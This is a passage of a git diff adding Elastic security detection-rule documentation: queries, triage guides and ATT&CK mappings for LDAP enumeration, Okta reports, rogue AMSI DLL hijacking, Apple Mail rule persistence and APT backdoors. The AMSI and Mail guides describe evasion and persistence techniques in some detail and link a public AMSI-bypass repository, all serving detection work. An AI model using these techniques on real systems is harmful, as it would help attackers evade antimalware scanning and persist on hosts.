COUNT(*), + Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.host_id_distinct_count = COUNT_DISTINCT(host.id), + Esql.rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.event_module_values = VALUES(event.module), + Esql.message_values = VALUES(message), + Esql.rule_name = VALUES(kibana.alert.rule.name), + Esql.event_action_values = VALUES(event.action), + Esql.event_category_values = VALUES(event.category), + Esql.process_executable_values = VALUES(process.executable), + Esql.process_cmdline_values = VALUES(process.command_line), + Esql.file_path_values = VALUES(file.path), + Esql.host_id_values = VALUES(host.id), + Esql.host_ip_values = VALUES(host.ip), + Esql.destination_ip_values = VALUES(destination.ip), + Esql.user_name_values = VALUES(user.name), + SRC_IP = VALUES(source.ip) + by Esql.source_ip + +// filter for different alerts from multiple hosts and where the host.ip of one alert matches the source.ip of the other alert +| eval concat_ip_values = MV_CONCAT(TO_STRING(Esql.host_ip_values), ",") +| eval host_ip_equal_to_source_ip =LOCATE(concat_ip_values, TO_STRING(Esql.source_ip)) +| where Esql.rule_name_distinct_count >= 2 and Esql.host_id_distinct_count >= 2 and host_ip_equal_to_source_ip > 0 and SRC_IP is not null and Esql.alerts_count <= 100 + +// Move single values to their corresponding ECS fields for alerts exclusion +| eval source.ip = mv_min(Esql.source_ip), + host.id = mv_min(Esql.host_id_values) +| KEEP Esql.*, source.ip, host.id + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-access-to-ldap-attributes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-access-to-ldap-attributes.asciidoc new file mode 100644 index 0000000000..d204941a09 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-access-to-ldap-attributes.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-suspicious-access-to-ldap-attributes]] +=== Suspicious Access to LDAP Attributes + +Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can help adversaries find vulnerabilities, elevate privileges or collect sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Windows Security Event Logs +* Data Source: Active Directory +* Data Source: Windows +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Access to LDAP Attributes* + + +LDAP (Lightweight Directory Access Protocol) is crucial for querying and modifying directory services like Active Directory, which stores user credentials and permissions. Adversaries exploit LDAP to enumerate directory attributes, seeking vulnerabilities or sensitive data. The detection rule identifies unusual read access patterns, such as excessive attribute queries, which may indicate reconnaissance or privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code 4662 to gather details about the suspicious read access, focusing on the winlog.event_data.Properties field to understand which attributes were accessed. +- Identify the user associated with the suspicious activity by examining the winlog.event_data.SubjectUserSid field, and determine if this user has a legitimate reason to access a high number of Active Directory object attributes. +- Check the user's recent activity and login history to identify any unusual patterns or anomalies that could indicate compromised credentials or unauthorized access. +- Investigate the source machine from which the LDAP queries originated to determine if it is a known and trusted device or if it shows signs of compromise or unauthorized use. +- Correlate this event with other security alerts or logs to identify if this activity is part of a larger pattern of reconnaissance or privilege escalation attempts within the network. + + +*False positive analysis* + + +- Regular system maintenance or updates may trigger high attribute read access. Exclude known maintenance accounts from the rule to prevent false alerts. +- Automated scripts or applications that query Active Directory for legitimate purposes can cause excessive attribute reads. Identify and whitelist these scripts or applications to reduce noise. +- Security audits or compliance checks often involve extensive directory queries. Coordinate with IT and security teams to recognize these activities and adjust the rule to exclude them. +- Service accounts with legitimate high-volume access patterns should be reviewed and, if deemed non-threatening, added to an exception list to avoid unnecessary alerts. +- Consider the context of the access, such as time of day or associated user activity, to differentiate between normal and suspicious behavior. Adjust the rule to account for these patterns where applicable. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of the user account associated with the suspicious LDAP access to determine if it has been compromised. Reset the account credentials and enforce multi-factor authentication. +- Analyze the event logs to identify any other systems or accounts that may have been accessed using similar methods, and apply the same containment measures. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement additional monitoring on LDAP queries and Active Directory access to detect similar patterns of excessive attribute queries in the future. +- Review and tighten access controls and permissions within Active Directory to ensure that only necessary attributes are accessible to users based on their roles. +- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence of similar threats. + +==== Setup + + + +*Setup* + + +Audit Directory Service Access must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-access + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "4662" and not winlog.event_data.SubjectUserSid : "S-1-5-18" and + winlog.event_data.AccessMaskDescription == "Read Property" and length(winlog.event_data.Properties) >= 2000 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-activity-reported-by-okta-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-activity-reported-by-okta-user.asciidoc new file mode 100644 index 0000000000..eda340dbfe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-activity-reported-by-okta-user.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-suspicious-activity-reported-by-okta-user]] +=== Suspicious Activity Reported by Okta User + +Detects when a user reports suspicious activity for their Okta account. These events should be investigated, as they can help security teams identify when an adversary is attempting to gain access to their network. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Activity Reported by Okta User* + + +Okta is a widely used identity management service that facilitates secure user authentication and access control. Adversaries may exploit compromised credentials to gain unauthorized access, posing a threat to network security. The detection rule monitors for user-reported suspicious activity, signaling potential unauthorized access attempts. By analyzing these alerts, security teams can swiftly identify and mitigate threats, leveraging Okta's logging capabilities to trace and respond to malicious actions. + + +*Possible investigation steps* + + +- Review the specific event details in the Okta logs where event.dataset is okta.system and event.action is user.account.report_suspicious_activity_by_enduser to gather initial context about the reported activity. +- Identify the user who reported the suspicious activity and check their recent login history and access patterns for any anomalies or deviations from their typical behavior. +- Correlate the reported suspicious activity with other security logs and alerts to determine if there are any related incidents or patterns indicating a broader attack. +- Verify if there are any known vulnerabilities or compromised credentials associated with the user's account that could have been exploited. +- Contact the user to gather additional information about the suspicious activity they observed and confirm whether they recognize any recent access attempts or changes to their account. +- Assess the risk and potential impact of the suspicious activity on the network and determine if any immediate containment or remediation actions are necessary. + + +*False positive analysis* + + +- Users frequently accessing their accounts from new devices or locations may trigger false positives. Implement geofencing or device recognition to reduce these alerts. +- Routine administrative actions, such as password resets or account updates, might be misinterpreted as suspicious. Exclude these actions from alerts if they are performed by known administrators. +- Automated scripts or applications using service accounts can generate alerts if not properly configured. Ensure these accounts are whitelisted or have appropriate permissions set. +- Employees using VPNs or proxy services for remote work can cause location-based false positives. Consider marking known VPN IP addresses as safe. +- High-volume login attempts from legitimate users, such as during password recovery, can be mistaken for suspicious activity. Monitor for patterns and adjust thresholds accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected user account by temporarily disabling it to prevent further unauthorized access. +- Notify the user and relevant stakeholders about the suspicious activity and the actions being taken to secure the account. +- Conduct a password reset for the affected user account and enforce multi-factor authentication (MFA) if not already enabled. +- Review recent login activity and access logs for the affected account to identify any unauthorized access or data exfiltration attempts. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if other accounts or systems have been compromised. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activity. +- Update security policies and procedures based on findings to prevent similar incidents in the future, ensuring alignment with MITRE ATT&CK framework recommendations for Initial Access and Valid Accounts. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.account.report_suspicious_activity_by_enduser + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-antimalware-scan-interface-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-antimalware-scan-interface-dll.asciidoc new file mode 100644 index 0000000000..69b7993306 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-antimalware-scan-interface-dll.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-suspicious-antimalware-scan-interface-dll]] +=== Suspicious Antimalware Scan Interface DLL + +Identifies the creation of the Antimalware Scan Interface (AMSI) DLL in an unusual location. This may indicate an attempt to bypass AMSI by loading a rogue AMSI module instead of the legit one. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Antimalware Scan Interface DLL* + + +*Possible investigation steps* + + +- Does the alert show a rogue AMSI DLL in a path a consumer process could reach? + - Why: AMSI DLL hijack works when amsi.dll is placed where a copied or launched AMSI-aware process searches first; copied PowerShell beside the DLL is a distinctive public-tooling pattern. + - Focus: `file.path`, `event.action`, and `file.size`, checking writable application, archive extraction, temp, user profile, or working directories outside Windows system and servicing paths. + - Implication: escalate when the DLL lands beside or inside a reachable search-order path for PowerShell, pwsh, wscript, cscript, mshta, Office, or another AMSI-aware consumer; lower concern only when the path is a lab or package-test directory unreachable by a copied consumer and content evidence fits that test. + +- Did the writer and parent context fit that DLL placement? + - Focus: `process.executable`, `process.command_line`, `process.hash.sha256`, `process.parent.command_line`, `user.id`, and `host.id`. + - Implication: escalate when the writer is user-writable, script- or shell-launched, newly seen by hash, or started through ad hoc remote administration; lower concern only when writer identity, parent command line, account, and host match one recognized validation workflow. Writer identity alone never clears the placement. + +- Did the same writer stage the full DLL-hijack pattern? + - Focus: file events on the same `host.id` and `process.entity_id`, especially `file.path`, `event.action`, and `file.size`. !{investigate{"description":"","label":"File events for the writer process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: escalate when the writer also drops copied powershell.exe, pwsh.exe, a script host, loader script, or renamed DLL beside the new amsi.dll; lower concern only when all artifacts stay inside one controlled validation directory and no consumer starts from it. + +- Did a process load or reuse the created DLL path? + - Focus: with library-load telemetry, pivot from `host.id` plus `file.path` to events where `dll.path` equals the created path, then read loader `process.executable`, `process.command_line`, and `@timestamp`; missing library-load telemetry leaves execution unresolved, not benign. !{investigate{"description":"","label":"Events for the created DLL path","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"dll.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Hint: with only file telemetry, treat later writes or touches of the same `file.path` as reuse clues, not module-load proof. + - Implication: escalate when PowerShell, pwsh, wscript, cscript, mshta, Office, or another AMSI-aware process loads or reuses the path after creation; unresolved load evidence keeps the case at staging unless other local evidence corroborates abuse. + +- Did process execution show use of the hijack directory or another AMSI-bypass path? + - Focus: process starts on the same `host.id` and `user.id`, especially `process.executable`, `process.command_line`, and `process.parent.command_line`. !{investigate{"description":"","label":"Process events for the same host and user","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when copied PowerShell or a script host starts from the DLL directory, a consumer process uses that directory as its working directory, or command lines show PowerShell v2 launch; lower concern only when execution stays limited to the same controlled validation workflow. + +- If local evidence is suspicious or unresolved, is the scope still limited to this host? + - Focus: related alerts for `host.id`; use `user.id` only when the writer maps to one stable identity, then compare `file.path`, `process.hash.sha256`, and `process.command_line` patterns. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the user-scoped alert view only after the writer identity is stable enough to test account-level spread. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same host or user shows additional AMSI, suspicious library-load, script-control, persistence, or payload-staging alerts; keep scope local when this is a single bounded placement with no corroborating chain. + +- Escalate when suspicious placement has any meaningful corroborator: copied consumer staging, load or reuse, suspicious lineage, execution from the DLL directory, or related evasion alerts. Close only when placement, writer, staging/load result, execution context, and outside validation all bind to authorized testing; preserve artifacts and escalate when evidence is mixed, missing, or contradictory. + + +*False positive analysis* + + +- Authorized malware-research, red-team, defensive-validation, or package testing that intentionally exercises AMSI search-order behavior is the credible benign path. Confirm `file.path` stays in a lab-only or test-package location; `process.executable`, `process.command_line`, `process.hash.sha256`, `user.id`, and `host.id` map to that workflow; no copied script host launches outside the test; and available load evidence comes from the expected harness. If schedules or inventories are unavailable, require current telemetry to prove the same lab or test harness; use recurrence only for exception design, not closure. If path, writer, load target, or execution context diverges, do not close as benign. +- Before creating an exception, validate the same `process.executable`, `process.hash.sha256`, parent workflow, `file.path`, `user.id`, and `host.id` recur across prior alerts from this rule. Build the exception from that workflow pattern. Avoid exceptions on amsi.dll alone, a directory fragment alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record which evidence proved the workflow: `file.path`, writer identity, `process.parent.command_line`, account and host scope, staging pattern, and any available load or harness evidence. Create an exception only after that workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the created `file.path`, writer `process.entity_id`, `process.command_line`, parent lineage, sibling staged files, load or reuse evidence when available, and related-alert context before containment. Apply reversible containment tied to the findings, and avoid deleting the DLL until load or reuse is understood. +- If confirmed malicious, isolate the endpoint or contain the responsible account according to the confirmed writer, copied consumer, and execution evidence. Before termination or cleanup, record the writer process details, DLL path, copied consumer executable, load evidence when available, and sibling scripts or payloads; weigh host criticality before isolation. +- Remove the rogue DLL, copied PowerShell or script-host binaries, loader scripts, and sibling payloads found during the investigation, then restore the affected application or working directory from known-good content and verify the legitimate system AMSI locations remain intact. +- If a target process loaded the rogue DLL, capture module and process evidence before restart or termination, then reverse any companion AMSI weakening found through process command lines or staged scripts. +- After containment, scope the same writer identity, DLL path pattern, copied consumer pattern, parent workflow, and companion AMSI-bypass behavior across other hosts, and retain the supporting file, process, and library-load evidence when available. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and file.path != null and + file.name : ("amsi.dll", "amsi") and + event.action != "A process changed a file creation time" and + not file.path : ( + "?:\\$SysReset\\CloudImage\\Package_for_RollupFix*\\amsi.dll", + "?:\\Windows\\system32\\amsi.dll", + "?:\\Windows\\Syswow64\\amsi.dll", + "?:\\$WINDOWS.~BT\\*\\amsi.dll", + "?:\\Windows\\CbsTemp\\*\\amsi.dll", + "?:\\Windows\\SystemTemp\\*\\amsi.dll", + "?:\\Windows\\SoftwareDistribution\\Download\\*", + "?:\\Windows\\WinSxS\\*\\amsi.dll", + "?:\\Windows\\servicing\\*\\amsi.dll", + "\\\\?\\Volume{*}\\Windows\\WinSxS\\*\\amsi.dll", + "\\\\?\\Volume{*}\\Windows\\system32\\amsi.dll", + "\\\\?\\Volume{*}\\Windows\\syswow64\\amsi.dll", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\system32\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\syswow64\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\WinSxS\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\$SysReset\\CloudImage\\Package_for_RollupFix*\\amsi.dll", + "\\Device\\HarddiskVolume*\\$WINDOWS.~BT\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\SoftwareDistribution\\Download\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\CbsTemp\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\SystemTemp\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\servicing\\*\\amsi.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apple-mail-rule-plist-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apple-mail-rule-plist-modification.asciidoc new file mode 100644 index 0000000000..14e6318c16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apple-mail-rule-plist-modification.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-suspicious-apple-mail-rule-plist-modification]] +=== Suspicious Apple Mail Rule Plist Modification + +Detects suspicious creation or modification of the Apple Mail SyncedRules plist file by a non-Mail application. An adversary could establish persistence by creating or modifying an Apple Mail rule to point to a script file on disk, which will execute when an email matching the trigger is received. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.n00py.io/2016/10/using-email-for-persistence-on-os-x/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Apple Mail Rule Plist Modification* + + +This detects non-Apple Mail processes creating or modifying the SyncedRules.plist that stores Apple Mail rules, a persistence path because rules can trigger actions on incoming mail. Attackers commonly drop a script to disk, then edit the rules file so a crafted email (often from an attacker-controlled sender or with a specific subject) launches that script when it arrives. + + +*Possible investigation steps* + + +- Identify the application that modified the plist and validate its legitimacy by checking code signature, bundle path, quarantine/download origin, and recent installation history. +- Diff the current SyncedRules.plist against a known-good or previous version (including backups/snapshots) to pinpoint what rule entries changed and when. +- Decode and review the plist contents to find any rule actions that execute scripts/binaries or reference external paths, then record the exact target command/path. +- Locate and inspect any referenced script or executable (hash, signature, contents, timestamps, and network indicators) and determine whether it is newly created or staged nearby. +- Correlate the modification time with surrounding system activity (process tree, file writes in user Library paths, network connections, and recent email-related events) to determine whether this is persistence setup versus benign automation. + + +*False positive analysis* + + +- After a macOS reinstall, user migration, or restore from backup, SyncedRules.plist may be recreated or overwritten by a non-Mail restore/migration process when Mail data is copied back into the user’s MailData directory. +- User-initiated or administrative automation that standardizes, repairs, or deploys Mail rules can modify SyncedRules.plist via command-line file operations or plist editing outside of Mail.app, especially during initial user provisioning or troubleshooting. + + +*Response and remediation* + + +- Isolate the affected Mac from the network and temporarily disable Apple Mail rule processing by moving `SyncedRules.plist` out of the MailData directory to prevent any rule-triggered script execution while preserving evidence. +- Collect and preserve the modified `SyncedRules.plist`, its extended attributes/quarantine flags, and the modifying process binary/app bundle, then decode the plist to identify any rule actions that reference on-disk scripts or executables. +- Remove malicious persistence by deleting the offending rule entries (or restoring `SyncedRules.plist` from a known-good backup) and deleting/quarantining any referenced scripts/binaries and their launch points if they were dropped on disk. +- Hunt for and eradicate the originator by reviewing recently installed or unsigned apps and user-level agents/daemons that wrote into `~/Library/Mail/**/MailData/`, and reimage the endpoint if additional persistence or tampering is found. +- Recover by re-enabling Mail with a clean ruleset, forcing credential/session resets for affected mail accounts, and monitoring for recurrence of `SyncedRules.plist` changes or rule-triggered execution when new mail arrives. +- Escalate to incident response immediately if the plist contains rules invoking `sh`, `osascript`, `python`, or a non-Apple executable path, if the modifying process is unsigned/untrusted, or if the referenced script shows network beacons or data access behavior. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.type != "deletion" and + file.name == "SyncedRules.plist" and + file.path like ("/Users/*/Library/Mail/*/MailData/SyncedRules.plist", + "/Users/*/Library/Mobile Documents/com.apple.mail/Data/*/MailData/SyncedRules.plist") and + not process.executable like ("/System/Applications/Mail.app/Contents/MacOS/Mail", + "/Applications/Mail.app/Contents/MacOS/Mail", + "/System/Library/CoreServices/backupd.bundle/Contents/Resources/backupd", + "/usr/libexec/xpcproxy", + "/System/Library/Frameworks/FileProvider.framework/Support/fileproviderd", + "/System/Library/PrivateFrameworks/CloudDocsDaemon.framework/Versions/A/Support/bird", + "/sbin/launchd", + "/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apt-package-manager-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apt-package-manager-execution.asciidoc new file mode 100644 index 0000000000..7b43e2d3bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-apt-package-manager-execution.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-34-suspicious-apt-package-manager-execution]] +=== Suspicious APT Package Manager Execution + +Detects suspicious process events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Threat: 